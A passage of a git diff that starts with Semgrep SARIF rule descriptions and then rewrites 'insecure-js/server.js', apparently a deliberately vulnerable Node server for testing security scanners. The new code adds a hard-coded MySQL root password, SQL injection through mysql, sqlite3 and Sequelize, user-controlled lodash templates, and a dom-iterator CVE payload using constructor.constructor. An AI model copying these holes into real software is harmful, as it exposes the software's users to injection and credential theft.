java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","id":"go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","name":"go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","id":"swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","name":"swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server."},"help":{"markdown":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.require-request.require-request)\n - [https://github.com/google/node-sec-roadmap/blob/master/chapter-2/dynamism.md#dynamism-when-you-need-it](https://github.com/google/node-sec-roadmap/blob/master/chapter-2/dynamism.md#dynamism-when-you-need-it)\n","text":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server."},"helpUri":"https://semgrep.dev/r/javascript.express.security.require-request.require-request","id":"javascript.express.security.require-request.require-request","name":"javascript.express.security.require-request.require-request","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.require-request.require-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","id":"java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","name":"java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","id":"javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","name":"javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","id":"java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","name":"java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.code.tainted-code-stdlib.tainted-code-stdlib)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.lang.code.tainted-code-stdlib.tainted-code-stdlib","id":"python.lang.code.tainted-code-stdlib.tainted-code-stdlib","name":"python.lang.code.tainted-code-stdlib.tainted-code-stdlib","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.code.tainted-code-stdlib.tainted-code-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","id":"ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","name":"ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","id":"python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","name":"python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","id":"python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","name":"python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid"}}],"semanticVersion":"1.96.0"}}}],"$schema":"https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json"}
\ No newline at end of file
diff --git a/insecure-js/server.js b/insecure-js/server.js
index 888da99..76cf87e 100644
--- a/insecure-js/server.js
+++ b/insecure-js/server.js
@@ -2,107 +2,330 @@ const http = require('http');
 const _ = require('lodash');
 const qs = require('querystring');
 const semver = require('semver');
-const JSON5 = require('json5')   
+const JSON5 = require('json5');
+const { sequelize, User, Password } = require('./init_db');
+const sqlite3 = require("sqlite3").verbose();
+const db = new sqlite3.Database("./data.db");
+const mysql = require('mysql2');
+const fs = require('fs');
+const path = require('path');
+
+// MySQL Connection Setup
+const connection = mysql.createConnection({
+  host: 'localhost',
+  user: 'root',
+  password: 'topsecret',
+  database: 'database'
+});
+
+connection.connect((err) => {
+  if (err) {
+      console.error('Error connecting to the MySQL database:', err);
+  } else {
+      console.log('Connected to the MySQL database.');
+  }
+});
 
 const hostname = '0.0.0.0';
 const port = 3000;
 
 const server = http.createServer((req, res) => {
-  if (req.method === 'POST') {
+  // Remove /js prefix from the URL for processing
+  const requestPath = req.url.replace(/^\/js/, '');
+
+  if (req.method === 'GET' && requestPath === '/styles.css') {
+    fs.readFile(path.join(__dirname, 'styles.css'), (err, data) => {
+      if (err) {
+        res.writeHead(500, { 'Content-Type': 'text/plain' });
+        res.end('Error loading styles.css');
+      } else {
+        res.writeHead(200, { 'Content-Type': 'text/css' });
+        res.end(data);
+      }
+    });
+  } else if (req.method === 'POST') {
     let body = '';
-    req.on('data', chunk => {
+    req.on('data', (chunk) => {
       body += chunk.toString();
     });
-    req.on('end', () => {
+
+    req.on('end', async () => {
       const postData = qs.parse(body);
       let responseMessages = [];
 
-      // Process template input for lodash vulnerability CVE-2021-23337 - lodash injection
-      if (postData.template) {
+      // CVE-2024-21541: dom-iterator
+      var PUT = require('dom-iterator');
+      global.CTF = function() { console.log("GLOBAL.CTF HIT") } // We want to prove we can execute this by using the package
+
+      var parser = require('mini-html-parser');
+      var html = '<h1></h1>'; // Any non-empty html should work
+      var parser = parser(html);
+      var node = parser.parse();
+      var it = PUT(node);
+      var next;
+      while (next = it.next("constructor.constructor('global.CTF()')()")) { }
+
+      // Vulnerability: Missing SameSite Attribute on Cookies
+      res.setHeader('Set-Cookie', `sessionToken=insecureToken; Path=/; HttpOnly; SameSite=None`);
+      res.setHeader('Content-Type', 'text/html');
+      res.setHeader('X-Content-Type-Options', 'nosniff');
+      res.setHeader('X-XSS-Protection', '0'); // Disable browser XSS protection for testing
+
+      // Placeholder for secret key 
+      const SECRET_KEY = process.env.SECRET_KEY || 'PLACEHOLDER_SECRET_KEY';
+      responseMessages.push(`<p>Current Secret Key: ${SECRET_KEY}</p>`);
+
+      // SQL Injection via mysql, but doesn't actually run
+      if (postData.orderNumber3) {
         try {
-          const compiled = _.template(postData.template);
-          compiled({});
-          responseMessages.push(`<p>Executed template. Check server console for output.</p>`);
+            const query = `SELECT product FROM Orders WHERE orderNumber = ${postData.orderNumber3};`;
+            responseMessages.push(`<p>Executing SQL query: ${query}</p>`);
+        
+            connection.query(query, (err, rows) => {
+                if (err) {
+                    console.error("SQL query error:", err);
+                    responseMessages.push(`<p>An error occurred: ${err.message}</p>`);
+                } else {
+                    if (rows.length > 0) {
+                        responseMessages.push(`<p>Order details (Product only):</p><pre>${JSON.stringify(rows, null, 2)}</pre>`);
+                    } else {
+                        responseMessages.push(`<p>No orders found with order number ${postData.orderNumber3}</p>`);
+                    }
+                }
+              
+                if (res) {
+                    res.end(responseMessages.join(""));
+                }
+            });
         } catch (error) {
-          console.error(error);
-          responseMessages.push(`<p>An error occurred: ${error.message}</p>`);
+            console.error("SQL query execution error:", error);
+            responseMessages.push(`<p>An unexpected error occurred: ${error.message}</p>`);
         }
       }
 
-      // Process version range input for semver ReDoS vulnerability //CVE-2022-25883 - semver redos and phantom package
-      if (postData.versionRange) {
-        const start = Date.now();
-        try {
-          semver.validRange(postData.versionRange);
-          const end = Date.now();
-          const timeTaken = end - start;
-          responseMessages.push(`<p>Processed version range. Time taken: ${timeTaken}ms.</p>`);
-        } catch (error) {
-          const end = Date.now();
-          const timeTaken = end - start;
-          console.error(error);
-          responseMessages.push(`<p>An error occurred while processing the version range: ${error.message}. Time taken: ${timeTaken}ms</p>`);
+      try {
+        // Collect all async operations into an array of promises
+        let asyncTasks = [];
+
+        // Direct SQL Injection via Sequelize
+        if (postData.orderNumber) {
+          const index = responseMessages.length;
+          responseMessages.push(`<h3>1. Sequelize Injection</h3>`); // Add header immediately
+          asyncTasks.push(
+            (async () => {
+              try {
+                const query = `SELECT product FROM Orders WHERE orderNumber = ${postData.orderNumber};`;
+                const result = await sequelize.query(query, { type: sequelize.QueryTypes.SELECT });
+                responseMessages[index] += result.length > 0
+                  ? `<p>Order details: <pre>${JSON.stringify(result, null, 2)}</pre></p>`
+                  : `<p>No orders found for order number ${postData.orderNumber}</p>`;
+              } catch (error) {
+                responseMessages[index] += `<p>Sequelize query error: ${error.message}</p>`;
+              }
+            })()
+          );
         }
-      }
 
-      // CVE-2022-46175 Prototype Polution from JSON5 showing phantom package
-      if (postData.json5data) {
-        try {
-          // Parse the JSON5 data, which may include prototype pollution
-          const parsedObject = JSON5.parse(postData.json5data);
-      
-          // Create a new object that inherits from the parsedObject
-          // This step is crucial to demonstrate the prototype pollution, as it will inherit any polluted properties
-          const testObject = Object.create(parsedObject);
-      
-          // Now, check if the prototype pollution has been successful by checking the new object
-          if (testObject.polluted) {
-            responseMessages.push(`<p>Prototype pollution detected: testObject.polluted = ${testObject.polluted}</p>`);
-          } else {
-            responseMessages.push(`<p>No prototype pollution detected.</p>`);
-          }
-        } catch (error) {
-          console.error(error);
-          responseMessages.push(`<p>An error occurred while processing the JSON5 data: ${error.message}</p>`);
+        // Direct SQL Injection via sqlite3
+        if (postData.orderNumber2) {
+          const index = responseMessages.length;
+          responseMessages.push(`<h3>2. SQLite Injection</h3>`); // Add header immediately
+          asyncTasks.push(
+            new Promise((resolve) => {
+              const query = `SELECT product FROM Orders WHERE orderNumber = ${postData.orderNumber2};`;
+              db.all(query, [], (err, rows) => {
+                if (err) {
+                  responseMessages[index] += `<p>SQLite error: ${err.message}</p>`;
+                } else {
+                  responseMessages[index] += rows.length > 0
+                    ? `<p>Order details: <pre>${JSON.stringify(rows, null, 2)}</pre></p>`
+                    : `<p>No orders found for order number ${postData.orderNumber2}</p>`;
+                }
+                resolve();
+              });
+            })
+          );
+        }
+
+        // Sequelize FindAll Injection
+        if (postData.username) {
+          const index = responseMessages.length;
+          responseMessages.push(`<h3>3. Sequelize FindAll Injection</h3>`); // Add header immediately
+          asyncTasks.push(
+            (async () => {
+              try {
+                const users = await User.findAll({
+                  where: sequelize.literal(`username = "${postData.username}"`),
+                });
+                responseMessages[index] += users.length > 0
+                  ? `<p>Users found: <ul>${users
+                      .map((user) => `<li>Username: ${user.username}, Email: ${user.email}</li>`)
+                      .join('')}</ul></p>`
+                  : `<p>No users found</p>`;
+              } catch (error) {
+                responseMessages[index] += `<p>Sequelize findAll error: ${error.message}</p>`;
+              }
+            })()
+          );
         }
-      }      
 
-      // Send combined response
-      res.writeHead(200, { 'Content-Type': 'text/html' });
-      res.end(responseMessages.join('') + `<a href="/">Go back</a>`);
+        // Lodash Template Vulnerability
+        if (postData.template) {
+          const index = responseMessages.length;
+          responseMessages.push(`<h3>4. Lodash Template Vulnerability</h3>`); // Add header immediately
+          asyncTasks.push(
+            (async () => {
+              try {
+                const compiled = _.template(postData.template);
+                const output = compiled({});
+                console.log("Lodash Template output:", output);
+                responseMessages[index] += `<p>Template executed successfully. Output logged on the server.</p>`;
+              } catch (error) {
+                responseMessages[index] += `<p>Lodash template error: ${error.message}</p>`;
+              }
+            })()
+          );
+        }
+
+        // Prototype Pollution via JSON5
+        if (postData.json5data) {
+          const index = responseMessages.length;
+          responseMessages.push(`<h3>5. JSON5 Prototype Pollution</h3>`);
+          asyncTasks.push(
+            (async () => {
+              try {
+                const parsedObject = JSON5.parse(postData.json5data);
+                if (parsedObject.polluted === "Prototype pollution successful!") {
+                  responseMessages[index] += `<p>Prototype pollution detected!</p>`;
+                } else {
+                  responseMessages[index] += `<p>No prototype pollution detected</p>`;
+                }
+              } catch (error) {
+                responseMessages[index] += `<p>JSON5 parsing error: ${error.message}</p>`;
+              }
+            })()
+          );
+        }
+
+        // jQuery XSS Vulnerability
+        if (postData.jqueryUrl) {
+          const index = responseMessages.length;
+          responseMessages.push(`<h3>6. jQuery XSS Vulnerability</h3>`); // Add header immediately
+          asyncTasks.push(
+            (async () => {
+              const jqueryCode = `<script src="${postData.jqueryUrl}"></script>`;
+              responseMessages[index] += `<p>jQuery was loaded from user-provided URL:</p><pre>${jqueryCode}</pre>`;
+            })()
+          );
+        }
+
+        // Wait for all async tasks to complete
+        await Promise.all(asyncTasks);
+
+        // Send combined response
+        res.writeHead(200, { 'Content-Type': 'text/html' });
+        res.end(responseMessages.join('') + `<p><a href="/">Go back</a></p>`);
+      } catch (error) {
+        res.writeHead(500, { 'Content-Type': 'text/plain' });
+        res.end('An unexpected error occurred.');
+        console.error(error);
+      }
     });
   } else if (req.method === 'GET') {
     res.writeHead(200, { 'Content-Type': 'text/html' });
     res.end(`
